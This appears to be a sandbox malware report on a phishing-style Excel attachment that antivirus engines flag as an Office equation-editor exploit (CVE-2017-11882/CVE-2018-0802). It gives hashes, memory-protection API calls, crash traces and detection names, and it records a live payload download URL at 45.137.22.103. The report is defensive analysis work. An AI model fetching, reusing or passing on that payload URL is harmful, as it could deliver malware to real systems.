popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

PO20201120 PACKING LIST & INVOICEs.xls

Generic Malware MSOffice File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Aug. 3, 2021, 6:27 p.m. Aug. 3, 2021, 6:29 p.m.
Size 1.2MB
Type CDFV2 Encrypted
MD5 4a044c98d5e93a64d63e0bd2aa4f14d8
SHA256 fcde7b2708053160d0d4b6347faa1963bd0bc15006a77e65f168a8ae0a31bccd
CRC32 C73F18AB
ssdeep 24576:DWRO9NlvzNvreP9s1zVobNcCYqbqk+c37aTeki7vqkxmiU:DWE9N5xvq+1zVIlu/craTe5vh9U
Yara
  • Microsoft_Office_File_Zero - Microsoft Office File

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
45.137.22.103 Active Moloch

Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x765a374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x763df725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x765b414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x763dc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x762d98ad
OleCreateEmbeddingHelper+0x2a1 CreateFileMoniker-0x17de ole32+0x81414 @ 0x76321414
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x76337b68
MdCallBack-0x5f79a6 excel+0x3f6187 @ 0x2fc86187
MdCallBack-0x838622 excel+0x1b550b @ 0x2fa4550b
MdCallBack-0x85136b excel+0x19c7c2 @ 0x2fa2c7c2
MdCallBack-0x8553c7 excel+0x198766 @ 0x2fa28766
MdCallBack-0x2acb5b excel+0x740fd2 @ 0x2ffd0fd2
MdCallBack-0x2aca0a excel+0x741123 @ 0x2ffd1123
MdCallBack-0x672e1c excel+0x37ad11 @ 0x2fc0ad11
MdCallBack-0x9e5260 excel+0x88cd @ 0x2f8988cd
MdCallBack-0x9e7589 excel+0x65a4 @ 0x2f8965a4
MdCallBack-0x9e9918 excel+0x4215 @ 0x2f894215
MdCallBack-0x9e9c23 excel+0x3f0a @ 0x2f893f0a
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77199ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77199ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706be
exception.offset: 46887
exception.address: 0x748ab727
registers.esp: 3694368
registers.edi: 1982790160
registers.eax: 3694368
registers.ebp: 3694448
registers.edx: 0
registers.ebx: 8707788
registers.esi: 2147944126
registers.ecx: 3879874278
1 0 0

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x765a374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x763df725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x765b414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x763dc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x762d98ad
CoRegisterMessageFilter+0x5048 ObjectStublessClient5-0x21 ole32+0x3b641 @ 0x762db641
CoRegisterMessageFilter+0x4ff4 ObjectStublessClient5-0x75 ole32+0x3b5ed @ 0x762db5ed
CoRegisterMessageFilter+0x4b79 ObjectStublessClient5-0x4f0 ole32+0x3b172 @ 0x762db172
CoRegisterMessageFilter+0x4075 ObjectStublessClient5-0xff4 ole32+0x3a66e @ 0x762da66e
ObjectStublessClient31+0x2961c STGMEDIUM_UserUnmarshal-0x92 ole32+0xba68c @ 0x7635a68c
ObjectStublessClient31+0x6776 STGMEDIUM_UserUnmarshal-0x22f38 ole32+0x977e6 @ 0x763377e6
OleCreateEmbeddingHelper+0x344 CreateFileMoniker-0x173b ole32+0x814b7 @ 0x763214b7
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x76337b68
MdCallBack-0x5f79a6 excel+0x3f6187 @ 0x2fc86187
MdCallBack-0x838622 excel+0x1b550b @ 0x2fa4550b
MdCallBack-0x85136b excel+0x19c7c2 @ 0x2fa2c7c2
MdCallBack-0x8553c7 excel+0x198766 @ 0x2fa28766
MdCallBack-0x2acb5b excel+0x740fd2 @ 0x2ffd0fd2
MdCallBack-0x2aca0a excel+0x741123 @ 0x2ffd1123
MdCallBack-0x672e1c excel+0x37ad11 @ 0x2fc0ad11
MdCallBack-0x9e5260 excel+0x88cd @ 0x2f8988cd
MdCallBack-0x9e7589 excel+0x65a4 @ 0x2f8965a4
MdCallBack-0x9e9918 excel+0x4215 @ 0x2f894215
MdCallBack-0x9e9c23 excel+0x3f0a @ 0x2f893f0a
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77199ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77199ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706ba
exception.offset: 46887
exception.address: 0x748ab727
registers.esp: 3694060
registers.edi: 1982790160
registers.eax: 3694060
registers.ebp: 3694140
registers.edx: 0
registers.ebx: 8707284
registers.esi: 2147944122
registers.ecx: 3879874278
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://45.137.22.103/cctv/vbc.exe
request GET http://45.137.22.103/cctv/vbc.exe
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2064
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b5a3000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2064
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6b481000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2064
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6add2000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2064
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x08ec0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2064
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x08ec0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2064
region_size: 12288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x08ec2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2064
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x08ec5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2064
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x08ec7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
Application Crash Process EXCEL.EXE with pid 2064 crashed
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x765a374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x763df725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x765b414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x763dc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x762d98ad
OleCreateEmbeddingHelper+0x2a1 CreateFileMoniker-0x17de ole32+0x81414 @ 0x76321414
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x76337b68
MdCallBack-0x5f79a6 excel+0x3f6187 @ 0x2fc86187
MdCallBack-0x838622 excel+0x1b550b @ 0x2fa4550b
MdCallBack-0x85136b excel+0x19c7c2 @ 0x2fa2c7c2
MdCallBack-0x8553c7 excel+0x198766 @ 0x2fa28766
MdCallBack-0x2acb5b excel+0x740fd2 @ 0x2ffd0fd2
MdCallBack-0x2aca0a excel+0x741123 @ 0x2ffd1123
MdCallBack-0x672e1c excel+0x37ad11 @ 0x2fc0ad11
MdCallBack-0x9e5260 excel+0x88cd @ 0x2f8988cd
MdCallBack-0x9e7589 excel+0x65a4 @ 0x2f8965a4
MdCallBack-0x9e9918 excel+0x4215 @ 0x2f894215
MdCallBack-0x9e9c23 excel+0x3f0a @ 0x2f893f0a
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77199ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77199ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706be
exception.offset: 46887
exception.address: 0x748ab727
registers.esp: 3694368
registers.edi: 1982790160
registers.eax: 3694368
registers.ebp: 3694448
registers.edx: 0
registers.ebx: 8707788
registers.esi: 2147944126
registers.ecx: 3879874278
1 0 0

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x765a374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x763df725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x765b414b
WdtpInterfacePointer_UserUnmarshal+0x166b DllDebugObjectRPCHook-0x2d8d ole32+0x13c8e2 @ 0x763dc8e2
CoRegisterMessageFilter+0x32b4 ObjectStublessClient5-0x1db5 ole32+0x398ad @ 0x762d98ad
CoRegisterMessageFilter+0x5048 ObjectStublessClient5-0x21 ole32+0x3b641 @ 0x762db641
CoRegisterMessageFilter+0x4ff4 ObjectStublessClient5-0x75 ole32+0x3b5ed @ 0x762db5ed
CoRegisterMessageFilter+0x4b79 ObjectStublessClient5-0x4f0 ole32+0x3b172 @ 0x762db172
CoRegisterMessageFilter+0x4075 ObjectStublessClient5-0xff4 ole32+0x3a66e @ 0x762da66e
ObjectStublessClient31+0x2961c STGMEDIUM_UserUnmarshal-0x92 ole32+0xba68c @ 0x7635a68c
ObjectStublessClient31+0x6776 STGMEDIUM_UserUnmarshal-0x22f38 ole32+0x977e6 @ 0x763377e6
OleCreateEmbeddingHelper+0x344 CreateFileMoniker-0x173b ole32+0x814b7 @ 0x763214b7
ObjectStublessClient31+0x6af8 STGMEDIUM_UserUnmarshal-0x22bb6 ole32+0x97b68 @ 0x76337b68
MdCallBack-0x5f79a6 excel+0x3f6187 @ 0x2fc86187
MdCallBack-0x838622 excel+0x1b550b @ 0x2fa4550b
MdCallBack-0x85136b excel+0x19c7c2 @ 0x2fa2c7c2
MdCallBack-0x8553c7 excel+0x198766 @ 0x2fa28766
MdCallBack-0x2acb5b excel+0x740fd2 @ 0x2ffd0fd2
MdCallBack-0x2aca0a excel+0x741123 @ 0x2ffd1123
MdCallBack-0x672e1c excel+0x37ad11 @ 0x2fc0ad11
MdCallBack-0x9e5260 excel+0x88cd @ 0x2f8988cd
MdCallBack-0x9e7589 excel+0x65a4 @ 0x2f8965a4
MdCallBack-0x9e9918 excel+0x4215 @ 0x2f894215
MdCallBack-0x9e9c23 excel+0x3f0a @ 0x2f893f0a
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750733ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77199ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77199ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x800706ba
exception.offset: 46887
exception.address: 0x748ab727
registers.esp: 3694060
registers.edi: 1982790160
registers.eax: 3694060
registers.ebp: 3694140
registers.edx: 0
registers.ebx: 8707284
registers.esi: 2147944122
registers.ecx: 3879874278
1 0 0
file C:\Users\test22\AppData\Local\Temp\~$PO20201120 PACKING LIST & INVOICEs.xls
Time & API Arguments Status Return Repeated

NtCreateFile

 create_disposition: 2 (FILE_CREATE)
file_handle: 0x0000041c
filepath: C:\Users\test22\AppData\Local\Temp\~$PO20201120 PACKING LIST & INVOICEs.xls
desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES|DELETE|SYNCHRONIZE|GENERIC_WRITE)
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$PO20201120 PACKING LIST & INVOICEs.xls
create_options: 4198496 (FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT|FILE_DELETE_ON_CLOSE)
status_info: 2 (FILE_CREATED)
share_access: 1 (FILE_SHARE_READ)
1 0 0
host 45.137.22.103
Lionic Hacktool.OLE2.Generic.3!c
MicroWorld-eScan Exploit.CVE-2018-0802.Gen
FireEye Exploit.CVE-2018-0802.Gen
ALYac Exploit.CVE-2018-0802.Gen
Symantec Trojan.Gen.NPE
ESET-NOD32 probably a variant of Win32/Exploit.CVE-2017-11882.F
Avast OLE:CVE-2017-11882-B [Expl]
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.CVE-2018-0802.Gen
Tencent Exp.Ole.CVE-2018-0802.a
Ad-Aware Exploit.CVE-2018-0802.Gen
TACHYON Suspicious/W97.CVE-2018-0798
Emsisoft Exploit.CVE-2018-0802.Gen (B)
McAfee-GW-Edition Exploit-GBY!FCACE305A951
Ikarus Trojan-Downloader.Office.Crypt
Arcabit Exploit.CVE-2018-0802.Gen
ViRobot DOC.Z.CVE-2017-1188.1302016
ZoneAlarm HEUR:Exploit.OLE2.Generic
GData Exploit.CVE-2018-0802.Gen
McAfee Exploit-GBT!6F3B8300FDC9
MAX malware (ai score=100)
Fortinet MSOffice/CVE_2018_0798!tr
AVG OLE:CVE-2017-11882-B [Expl]